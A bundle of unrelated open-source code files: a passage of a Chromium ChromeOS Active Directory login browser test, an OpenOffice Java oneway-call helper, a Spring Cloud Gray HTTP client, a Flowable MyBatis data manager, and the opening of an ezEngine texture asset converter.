chromeos::RegisterStubPathOverrides(user_data_dir); DBusThreadManager::GetSetterForTesting()->SetCryptohomeClient( std::make_unique<FakeCryptohomeClient>()); } void SetUpCommandLine(base::CommandLine* command_line) override { command_line->AppendSwitch(switches::kOobeSkipPostLogin); LoginManagerTest::SetUpCommandLine(command_line); } void SetUpOnMainThread() override { // Set the threshold to a max value to disable the offline message screen // on slow configurations like MSAN, where it otherwise triggers on every // run. LoginDisplayHost::default_host() ->GetOobeUI() ->signin_screen_handler() ->SetOfflineTimeoutForTesting(base::TimeDelta::Max()); fake_auth_policy_client()->DisableOperationDelayForTesting(); LoginManagerTest::SetUpOnMainThread(); } void MarkAsActiveDirectoryEnterprise() { StartupUtils::MarkOobeCompleted(); AuthPolicyLoginHelper helper; { base::RunLoop loop; helper.set_dm_token(kDMToken); helper.JoinAdDomain( kAdMachineName, "" /* distinguished_name */, authpolicy::KerberosEncryptionTypes::ENC_TYPES_STRONG, kTestActiveDirectoryUser + ("@" + test_realm_), "" /* password */, base::BindOnce( [](base::OnceClosure closure, const std::string& expected_domain, authpolicy::ErrorType error, const std::string& domain) { EXPECT_EQ(authpolicy::ERROR_NONE, error); EXPECT_EQ(expected_domain, domain); std::move(closure).Run(); }, loop.QuitClosure(), test_realm_)); loop.Run(); } ASSERT_TRUE(AuthPolicyLoginHelper::LockDeviceActiveDirectoryForTesting( test_realm_)); { base::RunLoop loop; fake_auth_policy_client()->RefreshDevicePolicy(base::BindOnce( [](base::OnceClosure closure, authpolicy::ErrorType error) { EXPECT_EQ(authpolicy::ERROR_NONE, error); std::move(closure).Run(); }, loop.QuitClosure())); loop.Run(); } } void TriggerPasswordChangeScreen() { OobeScreenWaiter screen_waiter( OobeScreen::SCREEN_ACTIVE_DIRECTORY_PASSWORD_CHANGE); fake_auth_policy_client()->set_auth_error( authpolicy::ERROR_PASSWORD_EXPIRED); SubmitActiveDirectoryCredentials(kTestActiveDirectoryUser, kPassword); screen_waiter.Wait(); TestAdPasswordChangeError(std::string()); } void ClosePasswordChangeScreen() { js_checker().Evaluate(JSElement(kAdPasswordChangeId, kCloseButtonId) + ".fire('tap')"); } void SetupTestAuthPolicyClient() { auto test_client = std::make_unique<TestAuthPolicyClient>(); fake_auth_policy_client_ = test_client.get(); DBusThreadManager::GetSetterForTesting()->SetAuthPolicyClient( std::move(test_client)); } // Checks if Active Directory login is visible. void TestLoginVisible() { OobeScreenWaiter screen_waiter(OobeScreen::SCREEN_GAIA_SIGNIN); screen_waiter.Wait(); // Checks if Gaia signin is hidden. JSExpect("document.querySelector('#signin-frame').hidden"); // Checks if Active Directory signin is visible. JSExpect("!document.querySelector('#offline-ad-auth').hidden"); JSExpect(JSElement(kAdOfflineAuthId, kAdMachineInput) + ".hidden"); JSExpect(JSElement(kAdOfflineAuthId, kAdMoreOptionsButton) + ".hidden"); JSExpect("!" + JSElement(kAdOfflineAuthId, kAdUserInput) + ".hidden"); JSExpect("!" + JSElement(kAdOfflineAuthId, kAdPasswordInput) + ".hidden"); const std::string innerText(".innerText"); // Checks if Active Directory welcome message contains realm. EXPECT_EQ(l10n_util::GetStringFUTF8(IDS_AD_DOMAIN_AUTH_WELCOME_MESSAGE, base::UTF8ToUTF16(test_realm_)), js_checker().GetString( JSElement(kAdOfflineAuthId, kAdWelcomMessage) + innerText)); // Checks if realm is set to autocomplete username. EXPECT_EQ( "@" + autocomplete_realm_, js_checker().GetString( JSElement(kAdOfflineAuthId, kAdAutocompleteRealm) + innerText)); // Checks if bottom bar is visible. JSExpect("!Oobe.getInstance().headerHidden"); } // Checks if Active Directory password change screen is shown. void TestPasswordChangeVisible() { // Checks if Gaia signin is hidden. JSExpect("document.querySelector('#signin-frame').hidden"); // Checks if Active Directory signin is visible. JSExpect("!document.querySelector('#ad-password-change').hidden"); JSExpect(JSElement(kAdPasswordChangeId, kAdAnimatedPages) + ".selected == 0"); JSExpect("!" + JSElement(kAdPasswordChangeId, kCloseButtonId) + ".hidden"); } // Checks if user input is marked as invalid. void TestUserError() { TestLoginVisible(); JSExpect(JSElement(kAdOfflineAuthId, kAdUserInput) + ".isInvalid"); } // Checks if password input is marked as invalid. void TestPasswordError() { TestLoginVisible(); JSExpect(JSElement(kAdOfflineAuthId, kAdPasswordInput) + ".isInvalid"); } // Checks that machine, password and user inputs are valid. void TestNoError() { TestLoginVisible(); JSExpect("!" + JSElement(kAdOfflineAuthId, kAdMachineInput) + ".isInvalid"); JSExpect("!" + JSElement(kAdOfflineAuthId, kAdUserInput) + ".isInvalid"); JSExpect("!" + JSElement(kAdOfflineAuthId, kAdPasswordInput) + ".isInvalid"); } // Checks if autocomplete domain is visible for the user input. void TestDomainVisible() { JSExpect("!" + JSElement(kAdOfflineAuthId, kAdAutocompleteRealm) + ".hidden"); } // Checks if autocomplete domain is hidden for the user input. void TestDomainHidden() { JSExpect(JSElement(kAdOfflineAuthId, kAdAutocompleteRealm) + ".hidden"); } // Checks if Active Directory password change screen is shown. Also checks if // |invalid_element| is invalidated and all the other elements are valid. void TestAdPasswordChangeError(const std::string& invalid_element) { TestPasswordChangeVisible(); for (const char* element : {kAdOldPasswordInput, kAdNewPassword1Input, kAdNewPassword2Input}) { std::string js_assertion = JSElement(kAdPasswordChangeId, element) + ".isInvalid"; if (element != invalid_element) js_assertion = "!" + js_assertion; JSExpect(js_assertion); } } // Sets username and password for the Active Directory login and submits it. void SubmitActiveDirectoryCredentials(const std::string& username, const std::string& password) { js_checker().ExecuteAsync(JSElement(kAdOfflineAuthId, kAdUserInput) + ".value='" + username + "'"); js_checker().ExecuteAsync(JSElement(kAdOfflineAuthId, kAdPasswordInput) + ".value='" + password + "'"); js_checker().Evaluate(JSElement(kAdOfflineAuthId, kAdButton) + ".fire('tap')"); } // Sets username and password for the Active Directory login and submits it. void SubmitActiveDirectoryPasswordChangeCredentials( const std::string& old_password, const std::string& new_password1, const std::string& new_password2) { js_checker().ExecuteAsync( JSElement(kAdPasswordChangeId, kAdOldPasswordInput) + ".value='" + old_password + "'"); js_checker().ExecuteAsync( JSElement(kAdPasswordChangeId, kAdNewPassword1Input) + ".value='" + new_password1 + "'"); js_checker().ExecuteAsync( JSElement(kAdPasswordChangeId, kAdNewPassword2Input) + ".value='" + new_password2 + "'"); js_checker().Evaluate(JSElement(kAdPasswordChangeId, kAdButton) + ".fire('tap')"); } void SetupActiveDirectoryJSNotifications() { js_checker().Evaluate( "var testInvalidateAd = login.GaiaSigninScreen.invalidateAd;" "login.GaiaSigninScreen.invalidateAd = function(user, errorState) {" " testInvalidateAd(user, errorState);" " window.domAutomationController.send('ShowAuthError');" "}"); } void WaitForMessage(content::DOMMessageQueue* message_queue, const std::string& expected_message) { std::string message; do { ASSERT_TRUE(message_queue->WaitForMessage(&message)); } while (message != expected_message); } protected: // Returns string representing element with id=|element_id| inside Active // Directory login element. std::string JSElement(const std::string& parent_id, const std::string& element_id) { return "document.querySelector('#" + parent_id + " /deep/ #" + element_id + "')"; } TestAuthPolicyClient* fake_auth_policy_client() { return fake_auth_policy_client_; } const std::string test_realm_; std::string autocomplete_realm_; private: TestAuthPolicyClient* fake_auth_policy_client_; DISALLOW_COPY_AND_ASSIGN(ActiveDirectoryLoginTest); }; class ActiveDirectoryLoginAutocompleteTest : public ActiveDirectoryLoginTest { public: ActiveDirectoryLoginAutocompleteTest() = default; void SetUpInProcessBrowserTestFixture() override { enterprise_management::ChromeDeviceSettingsProto device_settings; device_settings.mutable_login_screen_domain_auto_complete() ->set_login_screen_domain_auto_complete(kTestUserRealm); fake_auth_policy_client()->set_device_policy(device_settings); autocomplete_realm_ = kTestUserRealm; ActiveDirectoryLoginTest::SetUpInProcessBrowserTestFixture(); } private: DISALLOW_COPY_AND_ASSIGN(ActiveDirectoryLoginAutocompleteTest); }; } // namespace // Marks as Active Directory enterprise device and OOBE as completed. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, PRE_LoginSuccess) { MarkAsActiveDirectoryEnterprise(); } // Test successful Active Directory login. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, LoginSuccess) { TestNoError(); TestDomainVisible(); content::WindowedNotificationObserver session_start_waiter( chrome::NOTIFICATION_SESSION_STARTED, content::NotificationService::AllSources()); SubmitActiveDirectoryCredentials(kTestActiveDirectoryUser, kPassword); session_start_waiter.Wait(); } // Marks as Active Directory enterprise device and OOBE as completed. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, PRE_LoginErrors) { MarkAsActiveDirectoryEnterprise(); } // Test different UI errors for Active Directory login. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, LoginErrors) { SetupActiveDirectoryJSNotifications(); TestNoError(); TestDomainVisible(); content::DOMMessageQueue message_queue; SubmitActiveDirectoryCredentials("", ""); TestUserError(); TestDomainVisible(); SubmitActiveDirectoryCredentials(kTestActiveDirectoryUser, ""); TestPasswordError(); TestDomainVisible(); SubmitActiveDirectoryCredentials(std::string(kTestActiveDirectoryUser) + "@", kPassword); TestUserError(); TestDomainHidden(); fake_auth_policy_client()->set_auth_error(authpolicy::ERROR_BAD_USER_NAME); SubmitActiveDirectoryCredentials( std::string(kTestActiveDirectoryUser) + "@" + test_realm_, kPassword); WaitForMessage(&message_queue, "\"ShowAuthError\""); TestUserError(); TestDomainVisible(); fake_auth_policy_client()->set_auth_error(authpolicy::ERROR_BAD_PASSWORD); SubmitActiveDirectoryCredentials(kTestActiveDirectoryUser, kPassword); WaitForMessage(&message_queue, "\"ShowAuthError\""); TestPasswordError(); TestDomainVisible(); fake_auth_policy_client()->set_auth_error(authpolicy::ERROR_UNKNOWN); SubmitActiveDirectoryCredentials(kTestActiveDirectoryUser, kPassword); WaitForMessage(&message_queue, "\"ShowAuthError\""); // Inputs are not invalidated for the unknown error. TestNoError(); TestDomainVisible(); } // Marks as Active Directory enterprise device and OOBE as completed. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, PRE_PasswordChange_LoginSuccess) { MarkAsActiveDirectoryEnterprise(); } // Test successful Active Directory login from the password change screen. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, PasswordChange_LoginSuccess) { TestLoginVisible(); TestDomainVisible(); TriggerPasswordChangeScreen(); // Password accepted by AuthPolicyClient. fake_auth_policy_client()->set_auth_error(authpolicy::ERROR_NONE); content::WindowedNotificationObserver session_start_waiter( chrome::NOTIFICATION_SESSION_STARTED, content::NotificationService::AllSources()); SubmitActiveDirectoryPasswordChangeCredentials(kPassword, kNewPassword, kNewPassword); session_start_waiter.Wait(); } // Marks as Active Directory enterprise device and OOBE as completed. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, PRE_PasswordChange_UIErrors) { MarkAsActiveDirectoryEnterprise(); } // Test different UI errors for Active Directory password change screen. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, PasswordChange_UIErrors) { TestLoginVisible(); TestDomainVisible(); TriggerPasswordChangeScreen(); // Password rejected by UX. // Empty passwords. SubmitActiveDirectoryPasswordChangeCredentials("", "", ""); TestAdPasswordChangeError(kAdOldPasswordInput); // Empty new password. SubmitActiveDirectoryPasswordChangeCredentials(kPassword, "", ""); TestAdPasswordChangeError(kAdNewPassword1Input); // Empty confirmation of the new password. SubmitActiveDirectoryPasswordChangeCredentials(kPassword, kNewPassword, ""); TestAdPasswordChangeError(kAdNewPassword2Input); // Confirmation of password is different from new password. SubmitActiveDirectoryPasswordChangeCredentials(kPassword, kNewPassword, kDifferentNewPassword); TestAdPasswordChangeError(kAdNewPassword2Input); // Password rejected by AuthPolicyClient. fake_auth_policy_client()->set_auth_error(authpolicy::ERROR_BAD_PASSWORD); SubmitActiveDirectoryPasswordChangeCredentials(kPassword, kNewPassword, kNewPassword); TestAdPasswordChangeError(kAdOldPasswordInput); } // Marks as Active Directory enterprise device and OOBE as completed. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, PRE_PasswordChange_ReopenClearErrors) { MarkAsActiveDirectoryEnterprise(); } // Test reopening Active Directory password change screen clears errors. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginTest, PasswordChange_ReopenClearErrors) { TestLoginVisible(); TestDomainVisible(); TriggerPasswordChangeScreen(); // Empty new password. SubmitActiveDirectoryPasswordChangeCredentials("", "", ""); TestAdPasswordChangeError(kAdOldPasswordInput); ClosePasswordChangeScreen(); TestLoginVisible(); TriggerPasswordChangeScreen(); } // Marks as Active Directory enterprise device and OOBE as completed. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginAutocompleteTest, PRE_TestAutocomplete) { MarkAsActiveDirectoryEnterprise(); } // Tests that DeviceLoginScreenDomainAutoComplete policy overrides device realm // for user autocomplete. IN_PROC_BROWSER_TEST_F(ActiveDirectoryLoginAutocompleteTest, TestAutocomplete) { TestLoginVisible(); TestDomainVisible(); } } // namespace chromeos
7,258
679
<filename>main/odk/examples/DevelopersGuide/OfficeDev/DesktopEnvironment/OnewayExecutor.java /************************************************************** * * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * *************************************************************/ import java.util.Vector; // __________ Implementation __________ /** * It's not allowed to call synchronous back inside an oneway interface call. * (see IOnewayLink too). So we start a thread (implemented by this class), which * gets all necessary parameters from the original called object and * call it back later inside his run() method. So the execution of such oneway call * will be asynchronous. It works in a generic way and can be used or any type * of oneway request. Because the source and the target of this call-link knows, * which method was used and which parameters must be handled. * * @author <NAME>uml;ns * @created 17.07.2002 08:18 */ class OnewayExecutor extends Thread { // _______________________________ /** * const * We define some request for some well known oneway interface * calls here too. So they mustn't be declared more then ones. * Of course it's not necessary to use it ... but why not :-) */ public static final int REQUEST_FRAMEACTION = 1 ; public static final int REQUEST_STATUSCHANGED = 2 ; public static final int REQUEST_ADDSTATUSLISTENER = 3 ; public static final int REQUEST_REMOVESTATUSLISTENER = 4 ; public static final int REQUEST_DISPATCH = 5 ; public static final boolean ENCODE_PARAMS = true ; public static final boolean DECODE_PARAMS = false ; // _______________________________ /** * @member m_rLink the object, which wish to be called back by this thread * @member m_nRequest describes the type of the original request (means the * called oneyway method) * @member m_lParams list of parameters of the original request */ private IOnewayLink m_rLink ; private int m_nRequest ; private Vector m_lParams ; // _______________________________ /** * ctor * It's initialize this thread with all necessary parameters. * It gets the object, which wish to be called back and the type * and parameters of the original request. * * @param nRequest * The two user of this callback can define an unique number, * which identify the type of original interface method. * So the called interface object can decide, which action will be * necessary. * * @param lParams * If the original method used parameters, they will be coded here in * a generic way. Only the called interface object know (it depends * from the original request - see nRequest too), how this list must * be interpreted. * Note: Atomic types (e.g. int, long) will be transported as objects * too (Integer, Long)! */ public OnewayExecutor( IOnewayLink rLink , int nRequest , Vector lParams ) { m_rLink = rLink ; m_nRequest = nRequest; m_lParams = lParams ; if (m_rLink==null) System.out.println("ctor ... m_rLink == null"); if (m_lParams==null) System.out.println("ctor ... m_lParams == null"); } // _______________________________ /** * implements the thread function * Here we call the internal set link object back and * give it all necessary parameters. * After that we die by ourself ... */ public void run() { if (m_rLink==null) System.out.println("run ... m_rLink == null"); if (m_lParams==null) System.out.println("run ... m_lParams == null"); if (m_rLink!=null) m_rLink.execOneway( m_nRequest, m_lParams ); } // _______________________________ /** * static helper! * To make conversion of the generic parameter list to the original * one easier - you can use this helper methods. They know how suchlist * must be coded. It's not a must to use it - but you can ... */ public static void codeFrameAction( boolean bEncode, Vector[] lParams, com.sun.star.frame.FrameActionEvent[] aAction) { if (bEncode) { lParams[0] = new Vector(1); lParams[0].add( (Object)(aAction[0]) ); } else { aAction[0] = (com.sun.star.frame.FrameActionEvent) (lParams[0].elementAt(0)); } } // _______________________________ public static void codeStatusChanged( boolean bEncode, Vector[] lParams, com.sun.star.frame.FeatureStateEvent[] aStatus) { if (bEncode) { lParams[0] = new Vector(1); lParams[0].add( (Object)aStatus[0] ); } else { aStatus[0] = (com.sun.star.frame.FeatureStateEvent) (lParams[0].elementAt(0)); } } // _______________________________ public static void codeAddOrRemoveStatusListener( boolean bEncode, Vector[] lParams, com.sun.star.frame.XStatusListener[] xListener, com.sun.star.util.URL[] aURL) { if (bEncode) { lParams[0] = new Vector(2); lParams[0].add( (Object)xListener[0] ); lParams[0].add( (Object)aURL[0] ); } else { xListener[0] = (com.sun.star.frame.XStatusListener) (lParams[0].elementAt(0)); aURL[0] = (com.sun.star.util.URL)(lParams[0].elementAt(1)); } } // _______________________________ public static void codeDispatch( boolean bEncode, Vector[] lParams, com.sun.star.util.URL[] aURL, com.sun.star.beans.PropertyValue[][] lArgs) { if (bEncode) { int nLength = lArgs.length+1; int nPos = 0; lParams[0] = new Vector(nLength); lParams[0].add( (Object)aURL[0] ); --nLength; while (nLength>0) { lParams[0].add( (Object)lArgs[0][nPos] ); --nLength; ++nPos ; } } else { int nLength = lParams[0].size()-1; int nPos = 0; lArgs[0] = new com.sun.star.beans.PropertyValue[nLength]; aURL[0] = (com.sun.star.util.URL)(lParams[0].elementAt(0)); while (nPos<nLength) { lArgs[0][nPos] = (com.sun.star.beans.PropertyValue) (lParams[0].elementAt(nPos+1)); ++nPos; } } } }
3,351
861
package cn.springcloud.gray.communication; import cn.springcloud.gray.api.ApiRes; import cn.springcloud.gray.communication.exception.CommunicationException; import cn.springcloud.gray.communication.http.HttpAgent; import cn.springcloud.gray.http.HttpMethod; import cn.springcloud.gray.http.HttpRequest; import cn.springcloud.gray.http.HttpResult; import cn.springcloud.gray.model.GrayInfos; import cn.springcloud.gray.model.GrayInstance; import cn.springcloud.gray.model.GrayTrackDefinition; import com.fasterxml.jackson.core.JsonProcessingException; import com.fasterxml.jackson.core.type.TypeReference; import com.fasterxml.jackson.databind.ObjectMapper; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.MediaType; import java.io.IOException; import java.util.List; import java.util.Objects; public class HttpInformationClient implements InformationClient { private static final Logger log = LoggerFactory.getLogger(HttpInformationClient.class); private static final String BASE_PATH = "/gray/v2"; private HttpAgent httpAgent; private ObjectMapper objectMapper; public HttpInformationClient(HttpAgent httpAgent) { this(httpAgent, new ObjectMapper()); } public HttpInformationClient(HttpAgent httpAgent, ObjectMapper objectMapper) { this.httpAgent = httpAgent; this.objectMapper = objectMapper; } @Override public GrayInfos allInfos(String serviceId, String instanceId) { HttpRequest request = new HttpRequest(getFullPath("/all"), HttpMethod.GET); request.initHttpParams() .addParamPair("serviceId", serviceId) .addParamPair("instanceId", instanceId); TypeReference<ApiRes<GrayInfos>> typeReference = new TypeReference<ApiRes<GrayInfos>>() { }; return requestData("获取所有灰度信息", request, typeReference); } @Override public List<GrayInstance> allGrayInstances() { HttpRequest request = new HttpRequest(getFullPath("/instances/enable"), HttpMethod.GET); TypeReference<ApiRes<List<GrayInstance>>> typeReference = new TypeReference<ApiRes<List<GrayInstance>>>() { }; return requestData("获取灰度实例列表", request, typeReference); } @Override public void addGrayInstance(GrayInstance grayInstance) { HttpRequest request = new HttpRequest("/gray/v2/instance/", HttpMethod.POST); request.initHttpHeaders() .addHeader(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE); try { String json = objectMapper.writeValueAsString(grayInstance); request.setBody(json); } catch (JsonProcessingException e) { throw new CommunicationException("参数json序列化失败", e); } TypeReference<ApiRes<Void>> typeReference = new TypeReference<ApiRes<Void>>() { }; requestData("注册灰度实例", request, typeReference); } @Override public GrayInstance getGrayInstance(String serviceId, String instanceId) { HttpRequest request = new HttpRequest(getFullPath("/instance"), HttpMethod.GET); request.initHttpParams() .addParamPair("serviceId", serviceId) .addParamPair("instanceId", instanceId); TypeReference<ApiRes<GrayInstance>> typeReference = new TypeReference<ApiRes<GrayInstance>>() { }; return requestData("获取灰度实例", request, typeReference); } @Override public void serviceDownline(String instanceId) { String path = "/gray/instance/" + instanceId + "/switchStatus"; HttpRequest request = new HttpRequest(path, HttpMethod.PUT); request.initHttpParams() .addParamPair("switch", "0"); TypeReference<ApiRes<Void>> typeReference = new TypeReference<ApiRes<Void>>() { }; requestData("灰度服务实例下线", request, typeReference); } @Override public List<GrayTrackDefinition> getTrackDefinitions(String serviceId, String instanceId) { HttpRequest request = new HttpRequest(getFullPath("/instance"), HttpMethod.GET); request.initHttpParams() .addParamPair("serviceId", serviceId) .addParamPair("instanceId", instanceId); TypeReference<ApiRes<List<GrayTrackDefinition>>> typeReference = new TypeReference<ApiRes<List<GrayTrackDefinition>>>() { }; return requestData("获取灰度追踪信息", request, typeReference); } protected String getFullPath(String path) { return BASE_PATH + path; } private HttpResult request(HttpRequest httpRequest) { HttpResult httpResult = null; try { httpResult = httpAgent.request(httpRequest); } catch (IOException e) { throw new CommunicationException("", e); } if (!Objects.equals(httpResult.getCode(), HttpStatus.OK.value())) { log.error("请求 {} 返回 {} -> {}", httpRequest.getPath(), httpResult.getCode(), httpResult.getContent()); throw new CommunicationException("接口返回状态码异常: " + httpResult.getCode()); } return httpResult; } private <T> T requestData(String action, HttpRequest httpRequest, TypeReference<ApiRes<T>> typeReference) { try { HttpResult httpResult = request(httpRequest); return parseApiDate(httpResult.getContent(), typeReference); } catch (RuntimeException e) { Throwable cause = e; if (e instanceof CommunicationException && Objects.nonNull(e.getCause())) { cause = e.getCause(); } log.error("{}失败:{}", action, e.getMessage(), cause); throw e; } } protected <T> ApiRes<T> parseApiResult(String json, TypeReference<ApiRes<T>> referenceType) { try { return objectMapper.readValue(json, referenceType); } catch (IOException e) { log.error("返回的数据格式异常, 需要{}格式, 返回的数据:{}", referenceType.getType(), json); throw new CommunicationException("返回的数据格式异常", e); } } protected <T> T parseApiDate(String json, TypeReference<ApiRes<T>> typeReference) { ApiRes<T> apiRes = parseApiResult(json, typeReference); if (!apiRes.judgeSuccess()) { log.error("接口数据异常, code:{}, msg:{}", apiRes.getCode(), apiRes.getMessage()); throw new CommunicationException("接口异常, api code:" + apiRes.getCode() + ", msg:" + apiRes.getMessage()); } return apiRes.getData(); } }
2,777
5,250
<filename>modules/flowable-cmmn-engine/src/main/java/org/flowable/cmmn/engine/impl/persistence/entity/data/impl/MybatisMilestoneInstanceDataManager.java /* Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package org.flowable.cmmn.engine.impl.persistence.entity.data.impl; import java.util.List; import org.flowable.cmmn.api.runtime.MilestoneInstance; import org.flowable.cmmn.engine.CmmnEngineConfiguration; import org.flowable.cmmn.engine.impl.persistence.entity.MilestoneInstanceEntity; import org.flowable.cmmn.engine.impl.persistence.entity.MilestoneInstanceEntityImpl; import org.flowable.cmmn.engine.impl.persistence.entity.data.AbstractCmmnDataManager; import org.flowable.cmmn.engine.impl.persistence.entity.data.MilestoneInstanceDataManager; import org.flowable.cmmn.engine.impl.runtime.MilestoneInstanceQueryImpl; import org.flowable.common.engine.impl.persistence.cache.CachedEntityMatcherAdapter; /** * @author <NAME> */ public class MybatisMilestoneInstanceDataManager extends AbstractCmmnDataManager<MilestoneInstanceEntity> implements MilestoneInstanceDataManager { protected MilestoneInstanceByCaseInstanceIdCachedEntityMatcher milestoneInstanceByCaseInstanceIdCachedEntityMatcher = new MilestoneInstanceByCaseInstanceIdCachedEntityMatcher(); public MybatisMilestoneInstanceDataManager(CmmnEngineConfiguration cmmnEngineConfiguration) { super(cmmnEngineConfiguration); } @Override public Class<? extends MilestoneInstanceEntity> getManagedEntityClass() { return MilestoneInstanceEntityImpl.class; } @Override public MilestoneInstanceEntity create() { return new MilestoneInstanceEntityImpl(); } @SuppressWarnings("unchecked") @Override public List<MilestoneInstance> findMilestoneInstancesByQueryCriteria(MilestoneInstanceQueryImpl query) { return getDbSqlSession().selectList("selectMilestoneInstancesByQueryCriteria", query, getManagedEntityClass()); } @Override public long findMilestoneInstancesCountByQueryCriteria(MilestoneInstanceQueryImpl query) { return (Long) getDbSqlSession().selectOne("selectMilestoneInstanceCountByQueryCriteria", query); } @Override public void deleteByCaseDefinitionId(String caseDefinitionId) { getDbSqlSession().delete("deleteMilestoneInstanceByCaseDefinitionId", caseDefinitionId, getManagedEntityClass()); } @Override public void deleteByCaseInstanceId(String caseInstanceId) { bulkDelete("deleteMilestoneInstanceByCaseInstanceId", milestoneInstanceByCaseInstanceIdCachedEntityMatcher, caseInstanceId); } public static class MilestoneInstanceByCaseInstanceIdCachedEntityMatcher extends CachedEntityMatcherAdapter<MilestoneInstanceEntity> { @Override public boolean isRetained(MilestoneInstanceEntity entity, Object param) { String caseInstanceId = (String) param; return caseInstanceId.equals(entity.getCaseInstanceId()); } } }
1,119
703
<filename>Code/EditorPlugins/Assets/EditorPluginAssets/TextureAsset/TextureAsset.cpp<gh_stars>100-1000 #include <EditorPluginAssets/EditorPluginAssetsPCH.h> #include <EditorFramework/Assets/AssetCurator.h> #include <EditorPluginAssets/TextureAsset/TextureAsset.h> #include <EditorPluginAssets/TextureAsset/TextureAssetManager.h> #include <Foundation/IO/FileSystem/DeferredFileWriter.h> // clang-format off EZ_BEGIN_DYNAMIC_REFLECTED_TYPE(ezTextureAssetDocument, 6, ezRTTINoAllocator) EZ_END_DYNAMIC_REFLECTED_TYPE; EZ_BEGIN_STATIC_REFLECTED_ENUM(ezTextureChannelMode, 1) EZ_ENUM_CONSTANT(ezTextureChannelMode::RGBA)->AddAttributes(new ezGroupAttribute("Multi", 0.0f)), EZ_ENUM_CONSTANT(ezTextureChannelMode::RGB)->AddAttributes(new ezGroupAttribute("Multi", 1.0f)), EZ_ENUM_CONSTANT(ezTextureChannelMode::Red)->AddAttributes(new ezGroupAttribute("Single", 0.0f)), EZ_ENUM_CONSTANT(ezTextureChannelMode::Green)->AddAttributes(new ezGroupAttribute("Single", 1.0f)), EZ_ENUM_CONSTANT(ezTextureChannelMode::Blue)->AddAttributes(new ezGroupAttribute("Single", 2.0f)), EZ_ENUM_CONSTANT(ezTextureChannelMode::Alpha)->AddAttributes(new ezGroupAttribute("Single", 3.0f)) EZ_END_STATIC_REFLECTED_ENUM; // clang-format on ezTextureAssetDocument::ezTextureAssetDocument(const char* szDocumentPath) : ezSimpleAssetDocument<ezTextureAssetProperties>(szDocumentPath, ezAssetDocEngineConnection::Simple) { m_iTextureLod = -1; } static const char* ToWrapMode(ezImageAddressMode::Enum mode) { switch (mode) { case ezImageAddressMode::Repeat: return "Repeat"; case ezImageAddressMode::Clamp: return "Clamp"; case ezImageAddressMode::ClampBorder: return "ClampBorder"; case ezImageAddressMode::Mirror: return "Mirror"; default: EZ_ASSERT_NOT_IMPLEMENTED; return ""; } } const char* ToFilterMode(ezTextureFilterSetting::Enum mode) { switch (mode) { case ezTextureFilterSetting::FixedNearest: return "Nearest"; case ezTextureFilterSetting::FixedBilinear: return "Bilinear"; case ezTextureFilterSetting::FixedTrilinear: return "Trilinear"; case ezTextureFilterSetting::FixedAnisotropic2x: return "Aniso2x"; case ezTextureFilterSetting::FixedAnisotropic4x: return "Aniso4x"; case ezTextureFilterSetting::FixedAnisotropic8x: return "Aniso8x"; case ezTextureFilterSetting::FixedAnisotropic16x: return "Aniso16x"; case ezTextureFilterSetting::LowestQuality: return "Lowest"; case ezTextureFilterSetting::LowQuality: return "Low"; case ezTextureFilterSetting::DefaultQuality: return "Default"; case ezTextureFilterSetting::HighQuality: return "High"; case ezTextureFilterSetting::HighestQuality: return "Highest"; } EZ_ASSERT_NOT_IMPLEMENTED; return ""; } const char* ToUsageMode(ezTexConvUsage::Enum mode) { switch (mode) { case ezTexConvUsage::Auto: return "Auto"; case ezTexConvUsage::Color: return "Color"; case ezTexConvUsage::Linear: return "Linear"; case ezTexConvUsage::Hdr: return "Hdr"; case ezTexConvUsage::NormalMap: return "NormalMap"; case ezTexConvUsage::NormalMap_Inverted: return "NormalMap_Inverted"; case ezTexConvUsage::BumpMap: return "BumpMap"; } EZ_ASSERT_NOT_IMPLEMENTED; return ""; } const char* ToMipmapMode(ezTexConvMipmapMode::Enum mode) { switch (mode) { case ezTexConvMipmapMode::None: return "None"; case ezTexConvMipmapMode::Linear: return "Linear"; case ezTexConvMipmapMode::Kaiser: return "Kaiser"; } EZ_ASSERT_NOT_IMPLEMENTED; return ""; } const char* ToCompressionMode(ezTexConvCompressionMode::Enum mode) { switch (mode) { case ezTexConvCompressionMode::None: return "None"; case ezTexConvCompressionMode::Medium: return "Medium"; case ezTexConvCompressionMode::High: return "High"; } EZ_ASSERT_NOT_IMPLEMENTED; return ""; } ezStatus ezTextureAssetDocument::RunTexConv(const char* szTargetFile, const ezAssetFileHeader& AssetHeader, bool bUpdateThumbnail, const ezTextureAssetProfileConfig* pAssetConfig) { const ezTextureAssetProperties* pProp = GetProperties(); QStringList arguments; ezStringBuilder temp; // Asset Version { arguments << "-assetVersion"; arguments << ezConversionUtils::ToString(AssetHeader.GetFileVersion(), temp).GetData(); } // Asset Hash { const ezUInt64 uiHash64 = AssetHeader.GetFileHash(); const ezUInt32 uiHashLow32 = uiHash64 & 0xFFFFFFFF; const ezUInt32 uiHashHigh32 = (uiHash64 >> 32) & 0xFFFFFFFF; 